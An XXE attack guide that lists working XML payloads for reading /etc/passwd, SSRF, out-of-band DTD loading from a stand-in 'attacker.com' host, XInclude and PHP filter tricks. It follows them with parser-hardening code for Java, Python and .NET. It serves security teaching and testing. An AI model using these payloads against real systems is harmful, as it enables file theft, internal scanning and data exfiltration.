XXE (XML External Entity) Attack - Complete Guide

1. What is XXE?

XXE (XML External Entity) is a web security vulnerability that allows attackers to:

- Read sensitive files from the server
- Scan internal networks
- Perform SSRF (Server-Side Request Forgery) attacks
- Execute remote code in some cases

2. Basic XXE Payloads

Read Local Files

xml

```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
```

SSRF Attack

xml

```
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<data>&xxe;</data>
```

Blind XXE (Out-of-Band)

xml

```
<!DOCTYPE data [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
```

3. Advanced XXE Techniques

Error-Based XXE

xml

```
<!DOCTYPE data [
  <!ENTITY % xxe SYSTEM "file:///nonexistent">
  %xxe;
]>
```

XInclude Attack

xml

```
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd"/>
</root>
```

PHP Wrapper

xml

```
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
```

4. XXE Prevention

Java Protection

java

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

Python Protection

python

```
from defusedxml.ElementTree import parse
parse('safe.xml')
```

.NET Protection

csharp

```
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
```

5. Testing for XXE

Basic Test

xml

```
<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<test>&xxe;</test>
```

OOB Test

xml

```
<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "http://attacker.com/log">
  %xxe;
]>
```

DNS Test

xml

```
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://attacker.example.com">
]>
<test>&xxe;</test>
```

6. Impact of XXE

- Read sensitive files (/etc/passwd, /etc/shadow)
- Access cloud metadata (AWS, GCP, Azure)
- Internal port scanning
- Remote code execution (in some cases)

7. Mitigation Summary

1. Disable DTD processing
2. Disable external entities
3. Use JSON instead of XML where possible
4. Use input validation
5. Keep XML parsers updated